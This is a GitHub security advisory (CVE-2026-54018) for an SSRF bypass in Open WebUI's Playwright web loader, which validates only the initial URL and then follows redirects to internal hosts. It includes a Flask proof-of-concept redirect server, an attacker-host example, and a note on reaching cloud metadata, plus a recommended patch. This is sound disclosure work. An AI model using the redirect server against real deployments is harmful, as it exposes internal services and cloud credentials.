GHSA-JRFP-M64G-PCWV
Vulnerability from github – Published: 2026-06-17 17:55 – Updated: 2026-06-17 17:55Summary
The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.
Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).
This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False
Details
Root Cause
The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.
The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).
The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.
for url in self.urls:
try:
self._safe_process_url_sync(url)
page = browser.new_page()
response = page.goto(url, timeout=self.playwright_timeout) #this
if response is None:
raise ValueError(...)
text = self.evaluator.evaluate(page, browser, response)
PoC
(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)
- Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
- ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
- RAG_WEB_LOADER_ENGINE=playwright
- Setup and run attack server
- In Open WebUI, use the "Web Search" or "URL Loader" feature.
- Input the attacker's URL (e.g., http://attacker-ip/).
# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def attack():
# Redirect to the Open WebUI container's internal port
return redirect("http://open-webui:8080/api/version", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)
Impact
- Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.
- Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.
- Container Environments: Accessing other containers within the same network.
Recommended Patch
implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.
apply the following logic to both lazy_load and alazy_load methods:
# async context
async def intercept_route(route):
try:
await run_in_threadpool(validate_url, route.request.url)
await route.continue_()
except Exception:
await route.abort()
await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54018"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T17:55:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.\n\nSince Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).\n\nThis allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False\n\n### Details\nRoot Cause\n\nThe application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.\n\nThe application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).\n\nThe Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.\n\n```python\nfor url in self.urls:\n try:\n self._safe_process_url_sync(url) \n page = browser.new_page()\n response = page.goto(url, timeout=self.playwright_timeout) #this\n if response is None:\n raise ValueError(...)\n text = self.evaluator.evaluate(page, browser, response)\n```\n\n### PoC\n(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)\n\n1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.\n2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)\n3. RAG_WEB_LOADER_ENGINE=playwright\n4. Setup and run attack server\n5. In Open WebUI, use the \"Web Search\" or \"URL Loader\" feature.\n6. Input the attacker\u0027s URL (e.g., http://attacker-ip/).\n\n```python\n# attack_server.py\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef attack():\n # Redirect to the Open WebUI container\u0027s internal port\n return redirect(\"http://open-webui:8080/api/version\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\u003cimg width=\"580\" height=\"192\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e\" /\u003e\n\nThe Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)\n\n### Impact\n+ Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.\n+ Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.\n+ Container Environments: Accessing other containers within the same network.\n\n### Recommended Patch\nimplement a request interceptor using Playwright\u0027s page.route. This ensures all requests, including redirects, are validated before connection.\n\napply the following logic to both lazy_load and alazy_load methods:\n\n```python\n# async context\nasync def intercept_route(route):\n try:\n await run_in_threadpool(validate_url, route.request.url)\n await route.continue_()\n except Exception:\n await route.abort()\n\nawait page.route(\"**/*\", intercept_route)\nresponse = await page.goto(url, timeout=self.playwright_timeout)\n```",
"id": "GHSA-jrfp-m64g-pcwv",
"modified": "2026-06-17T17:55:44Z",
"published": "2026-06-17T17:55:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.